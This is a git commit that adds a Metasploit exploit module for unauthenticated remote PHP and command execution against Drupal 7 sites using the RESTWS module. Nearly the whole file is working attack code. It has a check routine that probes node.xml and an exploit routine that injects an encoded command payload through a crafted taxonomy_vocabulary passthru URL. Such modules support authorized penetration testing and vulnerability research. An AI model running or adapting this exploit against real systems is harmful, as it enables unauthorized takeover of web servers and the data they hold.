Add Drupal RESTWS Remote Unauth PHP Code Exec

bug/bundler_fix
Mehmet Ince 2016-07-18 21:32:10 +03:00
parent 26da2a2ce5
commit c8deb54938
No known key found for this signature in database
GPG Key ID: 11EF24A306357530
1 changed files with 80 additions and 0 deletions

View File

@ -0,0 +1,80 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
'Description' => %q{
This module exploits the Drupal RESTWS module vulnerability.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution
This module was tested against RESTWS 7.x with Drupal 7.5 installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
], self.class
)
end
def check
url = normalize_uri(target_uri.path, "node.xml")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res && res.code == 403
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
r = rand_text_alpha(4 + rand(4))
url = normalize_uri(target_uri.path, "taxonomy_vocabulary/" + r + "/passthru/" + Rex::Text.uri_encode(payload.encoded))
send_request_cgi(
'method' => 'GET',
'uri' => url
)
end
end